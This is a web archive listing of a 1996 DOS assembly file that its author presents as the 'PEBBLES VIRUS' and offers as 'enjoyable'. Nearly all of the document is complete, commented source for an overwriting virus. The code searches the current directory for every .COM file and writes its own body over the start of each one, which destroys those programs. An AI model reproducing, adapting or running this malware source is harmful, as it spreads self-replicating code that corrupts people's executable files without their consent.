home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / pebbles.asm < prev    next >
Assembly Source File  |  1996-03-17  |  2KB  |  55 lines

  1. ;    Here's is another that I think that you will find enjoyable ! 
  2.  
  3. ;            P E B B L E S     V I R U S !
  4. ;                -Zep-
  5.  
  6. DOSSEG
  7. MODEL tiny
  8. CODESEG
  9.                 org     100h
  10.  
  11. vir_len         = finish-start
  12.  
  13. start           equ     $
  14.  
  15. Begin:
  16.                 mov     ah,4eh                  ; Findfirst...
  17.                 mov     cx,00100111b
  18.                 mov     dx,offset filespec      ; dx <- "*.COM"
  19. loop1:
  20.                 int     21h                     
  21.                 jc      done                    ; No more files?  Better 
  22. stop.
  23.                 call    inf                     ; Infect file...
  24.                 mov     ah,4fh                  ; Findnext..
  25.                 jmp     short loop1             ; Over and over till 
  26. there
  27.                                                 ; ain't no more..
  28. done:
  29.                 int     20h                     ; Though bad it's 
  30. shorter
  31.                                                 ; than mov ah,4c int 
  32. 21h...
  33.  
  34. proc            inf
  35.                 mov     ax,3d02h                ; Open de file...
  36.                 mov     dx,9eh                  ; dx <- DTA filename
  37.                 int     21h                     
  38.                 mov     ah,40h                  ; Write..
  39.                 mov     cx,offset vir_len       ; Length of virus to 
  40. write.
  41.                 mov     dx,offset start         ; dx <- beg. of virus
  42.                 int     21h
  43.                 mov     ah,3eh                  ; Close up file.
  44.                 int     21h
  45.                 ret                             ; Get back...
  46. endp            inf
  47.  
  48. filespec        db      "*.COM",0               ; Filespec to infect.
  49.  
  50. finish          equ     $
  51.                 end     Begin
  52.  
  53.  
  54.  
  55.